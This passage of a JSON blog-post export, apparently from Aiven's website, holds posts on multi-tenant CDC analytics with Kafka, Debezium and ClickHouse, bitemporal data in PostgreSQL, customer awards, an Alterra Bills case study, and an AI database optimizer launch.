EverSQL’s AI-powered engine into the Aiven open source data platform will deliver new performance and cost optimization capabilities to customers","metaImage":{"_type":"mainImage","asset":{"_ref":"image-c1fe7c8e0d4945c1ffdda7582652c8e3166b070c-1200x628-png","_type":"reference"}},"metaTitle":"Aiven's Strategic Acquisition of EverSQL | Get Informed"},"slug":{"_type":"slug","current":"/blog/aiven-acquires-eversql"},"subtitle":"Integration of EverSQL’s AI-powered engine into the Aiven open source data platform will deliver new performance and cost optimization capabilities to customers","title":"Aiven enhances platform with AI-powered data optimization capabilities"} {"__i18n_lang":"en","_createdAt":"2024-04-17T14:33:34Z","_id":"467f9fbf-31af-480d-a70b-2b83fdd882a4","_rev":"h4ancfFTuSnQNBSq3FtkEG","_type":"post","_updatedAt":"2024-11-18T11:13:30Z","authors":[{"_key":"26bad0756dd2","_ref":"3gY7BY02heuVTQu1HRmMy6","_type":"reference"}],"body":"In the realm of multi-tenant Software-as-a-Service (SaaS) applications, managing a centralized PostgreSQL® database for multiple customers can present challenges in maintaining secure segregation of their data. While a single database offers infrastructure efficiency, it becomes crucial to ensure each organization has isolated access and control over their information. This blog post introduces a groundbreaking solution that shatters these limitations, enabling secure and performant multi-tenant analytics for your PostgreSQL® deployments.\n\n## Technology Overview\n\nThe key to unlocking this potential lies in a powerful combination of technologies:\n\n* **Apache Kafka® and Debezium®:** This dynamic duo captures changes (inserts, updates, and deletes) in real-time from your PostgreSQL® database and streams them to Apache Kafka®, a high-throughput messaging system.\n* **ClickHouse®:** This column-oriented database swoops in, boasting exceptional query speeds and storage compression with some key features to enhance multi-tenant environments: \n\t* [Materialized Views](https://aiven.io/docs/products/clickhouse/howto/materialized-views): These pre-processed datasets offer lightning-fast querying for frequently accessed data, securely segregating each organization's data.\n\t* [ReplacingMergeTree Engine](https://clickhouse.com/docs/en/engines/table-engines/mergetree-family/replacingmergetree#replacingmergetree): This engine efficiently stores and manages historical data without duplicates, allowing you to analyze trends across different tenants over time.\n\n## Unleashing Real-Time Analytics with Secure Multi-tenancy\n\nImagine you provide a SaaS platform for e-commerce businesses. Traditionally, storing all customer data in a single PostgreSQL® database creates a complex environment where providing data only to the organization it belongs to is challenging.\n\nThis CDC (Change Data Capture) solution built with Apache Kafka®, Debezium®, and ClickHouse® breaks free from these limitations. Here's how it empowers real-time analytics in a multi-tenant environment with secured, segregated databases:\n\n![PostgreSQL to ClickHouse flow diagram](https://cdn.sanity.io/images/sczeoy4w/production/2a0b07dce74b3f39b7f83de6f2cf121a60e2c6f7-811x351.png)\n\n1. **Real-time Change Capture:** Debezium acts as a watchful guardian, constantly monitoring your PostgreSQL® database for any modifications. Inserts, updates, and including deletes are captured in real-time, ensuring your data reflects the latest customer activity.\n2. **Streaming Updates via Apache Kafka®:** These captured changes are then streamed to Kafka®, a robust messaging system that acts as a central hub. Kafka® buffers and delivers this data stream efficiently, ensuring reliable delivery for further processing.\n3. **ClickHouse® Takes the Stage:** ClickHouse®, the star of the show, subscribes to relevant Kafka® topics using the ClickHouse® Kafka Engine. It continuously ingests the updates, keeping your data perpetually fresh.\n4. **Secure Segregation with Materialized Views:** ClickHouse® shines even brighter with materialized views. These act as pre-aggregated datasets specific to each tenant (e.g., Where only user *group A* have access to *organization A* and user *group B* could only access *organization B* in the code example). They offer blazing-fast query speeds for frequently asked questions, allowing each organization to gain immediate insights into their own segregated data without compromising security or performance.\n5. **Historical Analysis with ReplacingMergeTree:** But what about analyzing trends over longer periods? ClickHouse® has you covered with the ReplacingMergeTree engine. This engine excels at storing and managing historical data efficiently, enabling you to analyze customer behavior across different tenants over time.\n\n## Benefits Highlights\n\nThis CDC solution unlocks a multitude of benefits for multi-tenant SaaS applications with secured segregated databases:\n* Real-time Analytics: Gain immediate insights into the latest data, allowing tenants to make data-driven decisions faster.\n* Reduced Latency: Eliminate delays in data processing, ensuring analytics reflect the current state of each tenant's business.\n* Scalability: The solution scales seamlessly to accommodate growing data volumes from multiple tenants.\n* Improved Efficiency: Streamlined data pipelines minimize operational overhead for managing a multi-tenant infrastructure.\n* Enhanced Security: Ensure robust isolation between tenant data, fostering trust and regulatory compliance.\n\n## Conclusion\n\nBy leveraging CDC with Kafka®, Debezium®, and ClickHouse®, you can revolutionize the way you manage data in your multi-tenant PostgreSQL® environment. This powerful combination ensures secure segregation of data, fosters secure multi-tenancy, and unlocks real-time analytics, ultimately giving your SaaS application a significant competitive edge.\nReady to break down limitations in managing secured segregated databases and empower your tenants with real-time insights? Get started with building your CDC pipeline today!\n\nLaunch a fully automated working data pipeline in minutes with our GitHub example here:\n[https://github.com/aiven/aiven-examples/tree/main/solutions/clickhouse-cdc](https://github.com/aiven/aiven-examples/tree/main/solutions/clickhouse-cdc)\n","categories":[{"_key":"c92c06b40793","_ref":"4Ys3OINPj3glC5uOMr5dqF","_type":"reference"},{"_key":"678aaf9dce02","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"e8e792c57869","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Secure, Segregated Multi-tenant Analytics in PostgreSQL® using Aiven for Apache Kafka®, Debezium®, and Aiven for ClickHouse®","asset":{"_ref":"image-81ce3c4076606fd5fadb15ced5fd35e83160a70a-1200x628-png","_type":"reference"}},"publishedAt":"2024-04-17T16:00:00.000Z","related":[{"_key":"7b51668e4839","_ref":"a6e96484-2c71-4574-9297-d68a69f822d7","_type":"reference"},{"_key":"165e5c80ee38","_ref":"c8901b43-32a7-4bce-9728-2f563c22aaa5","_type":"reference"},{"_key":"994b5313b551","_ref":"b06fbbce-a80e-4e66-b4b1-dc6f57f9023f","_type":"reference"}],"seo":{"_type":"metaData","metaTitle":"Multi-Tenant Analytics in PostgreSQL® | Aiven "},"slug":{"_type":"slug","current":"/blog/secureanalytics-in-postgresqlr-using-aiven-for-clickhouse"},"subtitle":"Enabling secure and performant multi-tenant analytics for your PostgreSQL® deployments on Aiven's data platform.","title":"Secure, Segregated Multi-tenant Analytics in PostgreSQL® using Aiven for Apache Kafka®, Debezium®, and Aiven for ClickHouse®"} {"__i18n_lang":"en","_createdAt":"2023-02-27T09:41:10Z","_id":"6eacb7d1-6393-4a52-bfb3-4cf9694b3ef7","_rev":"EyufRNy5j0xIBEOcdzomHE","_type":"post","_updatedAt":"2024-10-30T11:23:07Z","authors":[{"_key":"daaf56a6de0c","_ref":"5bcc0d2e-daa8-4b34-b8f1-40ade6425be0","_type":"reference"}],"body":"Have you ever wondered how to implement things like an employee record that can show whether an employee is a current employee or has left the company? Using most standard databases, this can become cumbersome: you end up needing to add a new line to your database every time an employee’s status changes. \n\nBitemporal data can solve that problem, by allowing you to update one record and query the record’s status as it changes through time. This lets you model your database in a way that corresponds to your actual business, rather than a way that suits your database. \n\nTo learn more about implementing a bitemporal data model with Postgres, read on for a post from a guest contributor, Henrietta (Hettie) Dombrovskaya!\n\n\n## What is bitemporal data?\n\nIf this is the first time you’ve come across the expression bitemporal data, you might be puzzled: time is already considered the fourth dimension, so how can you have more than one time? Before we get more confused, let's take a moment to talk about temporal queries and adding time to data in general. \n\nBitemporal data lets us query changes against a particular piece of data as it changes through time, all in the same record in the database. This is useful for things like employee records (as mentioned above), options trading, and any environment where auditing is a requirement. \n\nThe idea that we should be able to query data at a point in time has been very popular since the dawn of databases. Wouldn't it be nice, for example, in addition to being able to query the current state of things, to query things like: \n\n```sql\nSELECT FIRST_NAME, LAST_NAME, START_DATE, SALARY\nFROM EMPLOYEES\nWHERE DEPARTMENT='SE'\n```\n\nWouldn't it be nice to run the same query for _any date in the past_, like this:\n\n```sql\nSELECT FIRST_NAME, LAST_NAME, START_DATE, SALARY\nFROM EMPLOYEES\nWHERE DEPARTMENT='SE' AS OF 'Sep-01-2022'\n```\n\nOr, maybe, something like this:\n\n```sql\nSELECT FIRST_NAME, LAST_NAME, START_DATE, SALARY\nFROM EMPLOYEES\nWHERE DEPARTMENT='SE' \nWHEN MANAGER ('SE')='John Smith'\n```\n\nAll of these queries reference a specific point in time (\"September 1, 2022\") or are related to a point in time (\"when did John Smith become a manager\"). All of these are extremely useful… and none are supported by regular SQL. \n\nTemporal data is the idea that data changes over time. HR records are an example of this, as an employee's status with the company (employed, no longer employed) changes through time.\n\nAnother use case for temporal data is auditing. Imagine we have a financial report which gives us the revenue for the past six months. We know what the numbers looked like yesterday. Today, we ran the same report, and the numbers for the past month look different.\n\nWhat happened? Apparently, somebody changed some numbers in the database. If we were wise, we have audit tables and triggers that record all modifications in historical tables and could investigate this case and find out when the changes were made. If we weren’t, we have a serious issue on our hands.\n\nHowever, we won't be able to go back in time and rerun the same report as it looked a week ago. Restoring data to a point in time in another environment is a slow process and can't be done on the fly.\n\nWe could achieve both of these use cases using a temporal database. A temporal database understands the data in it through time, rather than in a single current state. \n\nFor a long time, conversations about temporal databases were purely theoretical: they were considered to be too complicated to implement, and so any such implementation was deemed inefficient or too space-intensive. The `pg_bitemporal` project is the one that successfully addresses both classes of problems in one comprehensive solution. \n\n## How bitemporal data works\n\nBitemporal data and its implementation in databases are based on the works of Johnson and Weis’ [Asserted Versioning Framework (AVF)](http://assertedversioning.com/). The Asserted Versioning Framework is a way to operate on data in two-dimensional time.\n\nThe most important feature of AVF is bitemporality: each row in a bitemporal table is associated with two temporal intervals: effective time and asserted time. \n\nEffective time defines when the data contained in a row is _valid_. For example, “John Doe will become our customer on June 1, 2022” has an effective start date of June 1, 2022. We don’t know the end date, so we can assume this statement has an effective end date far in the future. For the purposes of our database, we can set the effective end date to January 1, 2999. Effective time is bound by the real-world business requirements: when John Doe actually becomes or ceases to be our customer.\n\nAsserted time is the time period in which the data in the row is _true_. For example, “John Doe will become our customer on June 1, 2022 and will stop being our customer on January 1, 2999” is true from May 1, 2022 to January 1, 2999. Unlike effective time, asserted time isn’t based on real-world requirements, but is based on the period of time we care about observing. \n\nGiven the above, this is what the **bitemporal insert** looks like on a graph. The infinity sign means “forever in the future”. The bitemporal insert is the area on a graph defined using the effective time and asserted time as bounding axes: \n\n![diagram showing John Doe added to the database on 05-01 and his status changed to silver on 06-01](https://cdn.sanity.io/images/sczeoy4w/production/c48b524c02c2c42d1b91edcfc95e4aa08905886f-3840x918.png)\n\nNow let’s imagine that our data model has some additional data, for example a customer status. “John Doe will become our customer on June 1, 2022, with an initial status of Silver.” is true between _May 1, 2022 and January 1, 2999_.\n\nNow let’s update John Doe’s customer status: “John Doe will become our customer on June 1, 2022, with an initial status of Silver. On September 15, 2022, John Doe’s customer status updated to Gold.”\n\nWhat happens to our asserted dates in this case? Well, we end up with three statements that are true in different circumstances: \n\n- “John Doe **will** become our customer on **June 1, 2022**, with an initial status of **Silver**.” is true between **May 1, 2022** and **January 1, 2999**. \n\n- “John Doe **is** our customer as of **June 1, 2022**, with an initial status of **Silver**” is true between **June 1, 2022** and **January 1, 2999**.\n\n- “John Doe **is** our customer as of **June 1, 2022,** with a status of **Gold**” is true between **September 15, 2022** and **January 1, 2999**.\n\n\nThis kind of record update is called a **bitemporal update**. The previous record (with customer type Silver) is not no longer true for our asserted time. Now we have two historical records, both asserted starting from September 15, 2022 (see Figure 2)\n\n![image showing two historical records as described above. There are now three slices of John Doe's data available.](https://cdn.sanity.io/images/sczeoy4w/production/afeb9dd0a27fcee2dc5363a83dc88f401472109d-3840x2160.png)\n\nNow, if a week later we realize that we made a mistake and the correct type change should have been for _Platinum_, not _Gold_, we can execute a **bitemporal correction** as presented in Figure 3. Now, we currently assert that John Doe’s customer type is _Platinum_ now and previously was _Silver_. But if we go back to any date between September 15 and September 22, we will see a different history – first Silver and then Gold.\n\n![image showing the bitemporal correction described above. There are now four slices of John Doe's data.](https://cdn.sanity.io/images/sczeoy4w/production/e28f8da7eb8d73f7dd178e0fc352138fd20c1cc5-3840x1824.png)\n\n\nNow the following is true of our data:\n\n- “John Doe **will** become our customer on **June 1, 2022**, with an initial status of **Silver**.” is true between **May 1, 2022** and **January 1, 2999**.\n \n- “John Doe **is** our customer as of **June 1, 2022**, with an initial status of **Silver**” is true between **June 1, 2022** and **January 1, 2999**. \n\n- “John Doe **is** our customer as of **June 1, 2022**, with a status of **Gold**” is true between **September 15, 2022** and **January 1, 2999**.\n\n= “John Doe **is** our customer as of **June 1, 2022**, with a status of **Platinum**” is true between **September 22, 2023** and **January 1, 2999.**\n\n## The pg_temporal project\n\nNow, let me introduce to you the [pg_bitemporal](https://github.com/hettie-d/pg_bitemporal) project – a PostgreSQL-based implementation of AVF that works! \n\nThe GitHub repo contains the SQL files with the source code, and the _load_all.sql script installs it for you. The /doc directory contains references and several PowerPoint presentations and recordings, and the/tutorial directory contains bitemporal tutorial.\n\n\n## Why implement this using PostgreSQL?\n\nNow that we understand more about how bitemporal data works on a conceptual level, we can see why it’s difficult to implement: each row in our bitemporal database needs to essentially have its own table for data over time. \n\nSo how do we go about implementing AVF? Well, the pg_temporal project chose PostgreSQL.\n\nPostgreSQL has several features which are critical to make implementation of AVF a success:\n\n- **Range type** support allows defining effective and asserted as timestamp with timezone ranges, thus having only two columns instead of four. Moreover, there are multiple operations defined for time-ranges, like includes and overlaps.\n\n- **Infinity (+/-)** is a special value that is greater than any other value (works for all numeric and DateTime types); we use it to indicate the \"current\" time range.\n\n- **GIST indexes** and GIST with exclusion constraints.\n\n## Learn more with a tutorial\n\nYou can learn how to use temporal data with [this tutorial](https://github.com/hettie-d/pg_bitemporal/tree/master/tutorial). In the tutorial, we build an example bitemporal schema using the following: customer, staff, order and order_line tables. Then, we follow a typical business process: a customer places an order, and then, several changes occur: a customer changes their phone number, a staff is moved to a new location, a product price changes. The tutorial explains when to use bitemporal update, and when - bitemporal correction. It also demonstrates how easy it is to execute different historical queries using the pg_bitemporal. \n\n\n## About the author\n\nHenrietta (Hettie) Dombrovskaya (currently a Database Architect at DRW) is a database researcher and developer with over 35 years of academic and industrial experience. She holds a Ph.D. in Computer Science from the University of Saint Petersburg, Russia. She taught Database and Transaction theory at the University of Saint - Petersburg (Russia), and at the Computer Systems Institute in Skokie, IL as well as multiple database tuning classes for both beginners and advanced professionals.\n\nHenrietta is very active in the PostgreSQL community. Starting from January 2017 she leads the Chicago Postgres User Group and she regularly talks at the PostgreSQL conferences. Her contributions to the community include the pg_bitemporal project, postgres_air training database, and the NORM technology.\n\n\n---\n\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\n","categories":[{"_key":"49bdab1d91d4","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"Photo of Henriette Dombrovskaya, a Database Architect at DW and guest contributor to the Aiven blog","asset":{"_ref":"image-943c7e22a30173599903489becacc68089a1af6c-1567x844-png","_type":"reference"}},"publishedAt":"2023-04-27T08:00:00.000Z","seo":{"_type":"metaData","metaDescription":"What is bitemporal data? How does it work? Check out our Aiven blog and watch a tutorial to learn about implementing a bitemporal data model with Postgres.","metaImage":{"_type":"mainImage","alt":"Photo of Henriette Dombrovskaya, a Database Architect at DW and guest contributor to the Aiven blog","asset":{"_ref":"image-a1a89d438171431eb18c144f277308abcb72e26c-2500x1308-jpg","_type":"reference"}}},"slug":{"_type":"slug","current":"/blog/two-dimensional-time-with-bitemporal-data"},"subtitle":"The same data, multiple variables: learn to explore data in a new way","title":"Time travel: two-dimensional time with bitemporal data"} {"__i18n_lang":"en","_createdAt":"2024-02-23T12:21:20Z","_id":"4dfda013-9792-461d-84ef-e0feb6dfad11","_rev":"h4ancfFTuSnQNBSq3Fw8QO","_type":"post","_updatedAt":"2024-11-18T11:39:58Z","authors":[{"_key":"c1e23a100a91","_ref":"3d759db2-54e5-4c4a-94ec-f52be97578dc","_type":"reference"}],"body":"Companies who put innovation at the heart of their businesses can see the direct impact of their technology investments in streamlined operations, new business models, profitability, enhanced customer experiences, and even social impact. Those who are committed to innovation are indeed staying ahead of the competition, can attract the best and brightest talent, and create excitement about their futures.\n\nOur customers have achieved some pretty amazing things over the last year. So, for our inaugural 2024 Aiven Customer Champion Awards, we are delighted to announce [GLOBO](https://www.helloglobo.com/), [Avaya](https://www.avaya.com/en/), [Priceline](https://www.priceline.com/) and [Sway AI](https://sway-ai.com/) as the winners.\n\nWe announced our customer champions at Aiven Live — our global event series where we bring together experts in the open source and data technologies world to discuss industry trends and best practices — so the perfect forum to recognise those businesses truly harnessing technology to innovate. \n\nIt is our customers who ultimately decide on the fate of our own business and if we are not helping them drive value from data and making it easier to reach their business or environmental goals through their data infrastructure, then we wouldn’t exist. \n\nBut here on stage in New York, we acknowledged and celebrated the outstanding achievements of these businesses for demonstrating innovation, excellence, impact on their customers, and positive impact on the world. \n\nOur four champions were:\n\n* Tech for Good Champion Award – GLOBO, the translation and interpreting services company.\n* Business Transformation Champion Award — Avaya, a global leader in customer experience solutions.\n* Customer Excellence Champion Award — Priceline, an online travel agency known for providing customers with best-in-class deals\n* Start-up Champion Award — Sway AI, the no-code AI development platform company.\n\n\nThese incredibly smart, ambitious and innovative companies are truly creating amazing experiences for their customers and improving the world around us. We at Aiven have one simple goal and that is to simplify the management of data infrastructures to unleash data-driven innovation, and we are ecstatic that our data platform is helping create such transformation and impact.\n\nSo, what did these four businesses, selected from an incredible list of organisations who continue to push frontiers, achieve to become customer champions?\n\nThe Tech for Good Champion Award, won by [GLOBO](https://www.youtube.com/watch?v=NWrKM2xSk0Y), recognizes organizations that are using technology to deliver a positive impact on the world. GLOBO is purposefully driving toward a future of more equitable experiences for everyone. Through its one simple platform, users have the ability to communicate in any language, 24/7. GLOBO is committed to delivering resilience, reliability, and sustainability in their services, around the clock, and it is the Aiven Platform which has been able to provide the foundation for delivering this.\n\n[Avaya](https://aiven.io/case-studies/avaya-transitions-to-the-cloud-with-the-aiven-platform) won the Business Transformation Champion Award for its use of technology to respond to a changing market and delivering significantly improved performance. Avaya has been undergoing a major transformation of its business, that has included helping move its global customer base from largely on-premises to the cloud. Avaya’s market share depended on making a number of its critical services, including its flagship call-center solution, available in the cloud to drive significant cost savings, efficiencies and improve competitiveness, which it has achieved. With Aiven, Avaya has been able to focus more of its resources on developing its business instead of managing open source technologies in the cloud, which the Aiven data platform and expertise has provided.\n\nThe Customer Excellence Champion Award bestowed upon [Priceline](https://aiven.io/case-studies/best-deal-for-priceline) underscores its adept utilization of technology in delivering unparalleled customer experiences. Leveraging advanced data science techniques, Priceline has innovatively devised means to provide discounted offerings encompassing airline seats, accommodations and rental cars, all seamlessly bundled within a singular transaction. Through the integration of the Aiven Platform, Priceline has effectively transitioned the complexities of on-premises infrastructure, thereby streamlining operations and optimizing resource allocation. This strategic collaboration has endowed Priceline with rapid analytics capabilities, facilitating insights extraction from its data in under two minutes. This enables Priceline to maintain its focus on delivering the best travel deals to their customers and helping them in experiencing the moments that matter. Today, the Aiven Platform, hosted on the Google Cloud infrastructure, serves as a cornerstone of Priceline's real-time data processing.\n\nAnd the incredibly smart [Sway AI](https://sway-ai.com/) took the Start-up Champion Award. This award recognizes the achievements of amazing people who have had a great idea, spotted an opportunity, and launched a new product or service with the help of the [Aiven Cluster](https://aiven.io/cluster) start-up program. Through Sway AI’s no-code AI development platform, the company is making AI’s potential accessible to all. It is empowering businesses to create powerful Al and ML applications without the need for specialized data science skills or writing a line of code. By combining Aiven’s data platform with Sway Al’s modelling and insight capabilities, it can offer an end-to-end answer for their customers’ data platform needs.\n\nA huge congratulations to our customers.\n\n\n**To learn more about how the Aiven data platform, available on five hyperscaler clouds, is helping customers of all sizes and across the world, please visit our [customer](https://aiven.io/customer) page.**","categories":[{"_key":"f3d7f6dd09f3","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"ef0394bee1c9","_ref":"fbc8860d-6c02-4a94-a281-8dd04c2ebdcd","_type":"reference"},{"_key":"10c3100325e3","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-280b1673794873f7e2e8acd45c2d4b6fabdfcca0-1920x1080-png","_type":"reference"}},"publishedAt":"2024-02-28T17:00:00.000Z","seo":{"_type":"metaData","metaTitle":"Aiven Customer Champion Awards 2024 Celebrate Innovation"},"slug":{"_type":"slug","current":"/blog/aivens-customer-champions-awards-2024"},"subtitle":"Aiven's inaugural Customer Champion awards recognize companies for their remarkable achievements in innovation, excellence and global impact. \n","title":"Aiven’s Customer ‘Champions’ GLOBO, Avaya, Priceline and Sway AI Awarded for Innovation, Excellence and Impact "} {"__i18n_lang":"en","_createdAt":"2023-10-10T13:38:19Z","_id":"ba61f454-7a62-4e37-8c75-fa4a545177a7","_rev":"h4ancfFTuSnQNBSq3IUYk8","_type":"post","_updatedAt":"2024-11-19T06:01:51Z","authors":[{"_key":"50d28dee5cea","_ref":"8b63e97a-d735-44c8-9851-11281a0f3e11","_type":"reference"}],"body":"Alterra Bills is a trusted bill payment aggregator in Indonesia. With the digital payments market growing fast, Alterra Bills needs a robust data infrastructure to handle the huge volume of data generated by the millions of transactions it processes each month. By using Aiven for Apache Kafka®, Alterra Bills has significantly improved payment success rates, can deliver insightful data faster to the business for decision-making and has saved 40% on costs.\n\n## Bringing innovation to bill payment services in Indonesia\nAlterra Bills is a bill payment service provider that connects bill issuer institutions in Indonesia with payment channels and end-users. It is part of Alterra Indonesia which was founded in Jakarta in 2015. The company has a B2B business model and partners with more than 200 payment channels to accept payments for 1,500 digital products including phone credits, Internet data packages, electricity tokens, e-money, game vouchers, multi-finance, BPJS (Indonesia’s social security agency of health entity) and Telekom. Alterra Bill’s vision is to bring innovation to bill payment services in Indonesia.\n\n## Managing data in real time\nWith the digital payments market growing fast, and working with so many partners and products, Alterra Bills handles millions of transactions each month which generate huge volumes of data. A robust infrastructure to support this data is essential for the delivery of fast payment services and in ensuring a high success rate for completed payments. Therefore, Alterra Bills has the need to improve performance of the data infrastructure which is connected to stability aspects with ‘Smart Biller’ — its smart billing system — which will impact the success rate of payments. \n\nAlterra Bills also uses the vast volumes of data to inform business decisions and produces insightful daily and monthly reports. \n\u003e“Data is crucial to us. Every decision we make is data driven. It allows us to gain insights into our business which help us to make better and more informed decisions from the most basic level through to our strategy. We don’t make decisions based on assumptions. As such, having the capability to effectively manage our data in real time is of paramount importance to us,” - Kevin Setiawan Tanzil, IT Lead at Alterra Bills.\n\nWith such a data-driven culture in place, requests for data are made from all parts of the organization. These requests can require complex data queries and the business increasingly expects near instant responses to those queries. \n\nTo increase the success rate of Smart Biller and to ensure data requests from the business were handled quickly and efficiently, Tanzil and his team needed to optimize the performance of the company’s data infrastructure.\n\n## Managed service from Aiven offers best performance and price\nAt the time, Alterra Bills was using Apache Kafka® as its data streaming platform — the open source technology is ideally suited to handling high volumes of data with very low latency. Alterra Bills used Change Data Capture (CDC) to ingest data from the database into Apache Kafka which then processed data in real time for reporting and data warehousing. \n\nThe company was also using Apache Kafka as part of Smart Biller to support the switch breaker system. The switch breaker ensures a high success rate of payment acceptances by automatically switching transactions to another supplier if a customer experiences a problem. \n\nIncreased stability, lower latency, time savings and cost reductions\nAlterra Bills now uses Aiven for Apache Kafka to achieve stability in Smart Biller’s switch breaker. With the switch breaker running steadily, latency is lower and the transaction success rate has increased to a high of 95%. \n\n\u003e “We envision a dependable system, and once that is achieved, the next step is to know how to maintain it. With Aiven for Apache Kafka in place, our partners are happier because payments have a higher success rate and lower latency,” - Kevin Setiawan Tanzil, IT Lead at Alterra Bills.\n\nPerformance improvements are notable across the data infrastructure thanks to the Aiven service. For example, the process of reconciling data from Alterra Bills with data from partners has accelerated.\n\nAiven for Apache Kafka has enabled real-time data management for Alterra Bills. When compared to CDC data retrieval technology which can take up to 15 minutes, data management has become much faster. Because the same data is stored in Apache Kafka, business departments across the organization that require the same data do not have to process it twice. \n\nIn addition to the significant performance gains which have improved payment success rates and the faster delivery of insightful data to the business for decision-making, Alterra Bills is saving up to 40% on costs by utilizing managed services from Aiven. \n\n\u003e “Aiven has brought us cost savings of 40%. We’re also saving on human resources and time because Aiven handles all the maintenance. This essentially frees up time for our team to focus on more strategic activities like creating innovative solutions for our customers.” -\nKevin Setiawan Tanzil, IT Lead at Alterra Bills\n\nTanzil and his team have been impressed with Aiven’s technical support. Aiven provides 24/7/365 monitoring, ensures 99.99% uptime and always has experts available. “We have the lowest support package but we feel fully supported from a technical and after-sales standpoint. Communication with them has always been easy,” says Tanzil. \n","categories":[{"_key":"7eb09464d273","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"},{"_key":"c02fed4f0cb3","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"34d98de0e710","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"41defdde-593b-4266-971d-d5fde91e1e89","_type":"reference"},"ctaText":"Read the customer story","previewImage":{"_type":"mainImage","asset":{"_ref":"image-d7035dfe24577b778b4b5928f6deb6d81cc0e72d-3295x1724-png","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Aiven Customer, Customer Story, Case Study, Use Case, Apache Kafka Use Case, Aiven for Apache Kafka Example, Aiven for Apache Kafka, Apache Kafka, MySQL, Aiven for MySQL, Aiven for MySQL Example, MySQL Use Case, Alterra Bills","asset":{"_ref":"image-d7035dfe24577b778b4b5928f6deb6d81cc0e72d-3295x1724-png","_type":"reference"}},"publishedAt":"2023-10-11T07:30:00.000Z","related":[{"_key":"a8a1366b5d13","_ref":"09984051-2fbb-4356-83b1-4a439dc158bb","_type":"reference"},{"_key":"01f7118b03ed","_ref":"7b886c5e-716d-4605-894a-41347e6a0801","_type":"reference"},{"_key":"be85c2f28b9a","_ref":"77f254fc-fc3a-4fc6-9592-a4a2530c36b6","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Alterra Bills uses Aiven for Apache Kafka® to improve digital payments, deliver faster data insights, and save costs. Find out more!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d7035dfe24577b778b4b5928f6deb6d81cc0e72d-3295x1724-png","_type":"reference"}},"metaTitle":"Alterra Bills Saves 40% on Costs with Apache Kafka® | Aiven"},"slug":{"_type":"slug","current":"/blog/alterra-bills-improves-stability-lowers-latency"},"subtitle":"Aiven for Apache Kafka® improves stability and lowers latency","title":"Alterra Bills Increases Success Rate of Smart Billing System to 95% and Achieves 40% Cost Reduction with Aiven"} {"__i18n_lang":"en","_createdAt":"2024-05-17T09:21:21Z","_id":"e6c815e6-81b6-4fb9-8269-072853775316","_rev":"h4ancfFTuSnQNBSq3JIpoy","_type":"post","_updatedAt":"2024-11-19T11:49:06Z","authors":[{"_key":"292d4a05ec61","_ref":"2fed39bf-2e91-416d-b529-7213d234d1ac","_type":"reference"}],"body":"An efficient data infrastructure is a vital component in building \u0026 operating scalable and performant applications that are widely adopted, satisfy customers, and ultimately, drive business growth. Unfortunately, the speed of new feature delivery coupled with a lack of database optimization knowledge is exposing organizations to high risk performance issues. The new [Aiven AI Database Optimizer](https://aiven.io/solutions/aiven-ai-database-optimizer) helps organizations address performance both in the development and production phase, making it simple to quickly deploy, fully optimized, scalable, and cost efficient applications.\n\nFully integrated with [Aiven for PostgreSQL](https://aiven.io/postgresql)®, Aiven AI Database Optimizer offers AI-driven performance insights, index, and SQL rewrite suggestions to maximize database performance, minimize costs, and make the best out of your cloud investment. \n\n\n## How does AI Database Optimizer work? \n\n\nAiven AI Database Optimizer is a non-intrusive solution powered by [EverSQL by Aiven](https://www.eversql.com/) that gathers information about database workloads, metadata and supporting data structures, such as indexes. Information about the number of query executions and average query times are continually processed by a mix of heuristic and AI models to determine which SQL statements can be further optimized. AI Database Optimizer then delivers accurate, secure optimization suggestions that you can trust, and that can be adopted to speed up query performance.\n\nRecommendations from Aiven’s AI Database Optimizer are already trusted by over 120,000 users in organizations ranging from startups to the largest global enterprises, who have optimized more than 2 million queries to date.\n\n\n## How does AI Database Optimizer help organizations?\n\nDuring development, AI Database Optimizer enables early performance testing, allowing easier redesign or refactoring of queries before they impact production. This enables customers to foster a culture of considering performance from the get-go, ensuring it is a priority throughout development rather than an afterthought.\n\nAI Database Optimizer also helps businesses gain an optimal user experience: \n\n\n* With fast query response times that ensure a smooth and responsive user experience, especially in data-intensive applications.\n* By identifying and fixing performance bottlenecks organizations can reduce costs, avoid outages and deliver continuous service availability.\n\n\nA fleet of Aiven for PostgreSQL® databases is powering [La Redoute](https://www.youtube.com/watch?v=mPWxizlA3so)’s marketplace functionality, driving 30% of their business. \nDiogo Passadouro - OPS-DBA Team Lead stated *\"Aiven AI Database Optimizer has revolutionized the way we analyze database performance, providing a simple, clear and highly effective approach and has proven instrumental in enhancing the performance of our databases.\"*\n\n![Quote from Diogo Passadouro](https://cdn.sanity.io/images/sczeoy4w/production/783e94bbcbfc97127ffd4f06e7d0a765dd51345b-1200x628.png)\n\n[Conrad](https://aiven.io/case-studies/conrad-electronic-expands-e-commerce-platform-with-aiven) is an advanced B2B sourcing platform selling 9 million products from 6,000 brands, powered by Aiven. Janek Wonner - Head of SRE \u0026 Cloud Technology stated *\"Aiven for PostgreSQL is underpinning our fundamental company functionalities, we are looking forward to adopt Aiven AI database optimizer to empower our developers to create scalable code and empower our development teams with better performance insights and improvement suggestions to reduce the time to fix performance issues\"*\n\n![Quote from Janek Wonner](https://cdn.sanity.io/images/sczeoy4w/production/5deeb953cbf0fdea0dd77fa1b1fad47abb450388-1200x628.png)\n\nMore information is available in the [Aiven AI Database Optimizer page](https://aiven.io/solutions/aiven-ai-database-optimizer). You can 